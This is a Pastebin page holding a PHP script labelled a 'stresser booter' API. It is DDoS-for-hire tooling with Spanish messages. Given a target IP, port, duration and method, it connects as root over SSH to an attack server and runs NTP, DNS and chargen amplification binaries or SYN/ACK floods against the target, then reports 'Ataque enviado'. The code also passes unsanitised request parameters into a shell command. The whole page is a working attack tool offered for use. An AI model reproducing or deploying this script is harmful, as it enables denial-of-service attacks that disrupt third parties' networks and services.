Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Api stresser booter v1.0 by KNZ
- ignore_user_abort(true);
- set_time_limit(1000);
- $server_ip = "uuuuu";
- $server_pass = "uuuuu";
- $server_user = "root";
- $key = $_GET['key'];
- $host = $_GET['host'];
- $port = intval($_GET['port']);
- $time = intval($_GET['time']);
- $method = $_GET['method'];
- $action = $_GET['action'];
- $array = array("ntp","chargen","dns","syn","ack");
- $ray = array("putoamo"); //This is your API password.
- if (!empty($key)){
- }else{
- die('Error: No has introducido ninguna KEY!');}
- if (in_array($key, $ray)){
- }else{
- die('Error: KEY incorrecta!');}
- if (!empty($time)){
- }else{
- die('Error: No has introducido ningun tiempo!');}
- if (!empty($host)){
- }else{
- die('Error: No has introducido ninguna IP!');}
- if (!empty($method)){
- }else{
- die('Error: No has seleccionado ningun METODO!');}
- if (in_array($method, $array)){
- }else{
- die('Error: El METODO seleccionado no existe!');}
- if ($port > 44405){
- die('Error: No existe ningun PUERTO sobre 44405!');}
- if ($time > 3600){
- die('Error: Has superado el TIEMPO permitido!');}
- if(ctype_digit($Time)){
- die('Error: Debes introducir un numero para indicar el TIEMPO!');}
- if(ctype_digit($Port)){
- die('Error: Debes introducir un numero para indicar el PUERTO!');}
- if ($method == "dns") { $command = "/var/www/html/amp/dns $host $port /path/to/d.txt 2 -1 $time"; }
- if ($method == "chargen") { $command = "/var/www/html/amp/chargen $host $port /path/to/c.txt 2 -1 $time"; }
- if ($method == "ntp") { $command = "/var/www/html/amp/ntp $host $port /var/www/html/escaner/ntp_amp_f.txt 2 -1 $time"; }
- if ($method == "ack") { $command = "/var/www/html/amp/gem -T0 -h $host -t $time"; }
- if ($method == "syn") { $command = "/var/www/html/amp/gem -T3 -h $host -t $time"; }
- if ($action == "stop") { $command = "pkill $host -f"; }
- if (!function_exists("ssh2_connect")) die("Error: No existe SSH2 en tu servidor!");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "Error: Conexion fallida!";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Usuario o contrasena incorrecta!.";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Tu servidor no pudo ejecutar tu archivo de metodos ni sus dependencias!";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Ataque enviado!!</br>IP: $host</br>On PUERTO: $port </br>DURACION: $time</br>METODO: $method</br>:)";
- fclose($stream);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement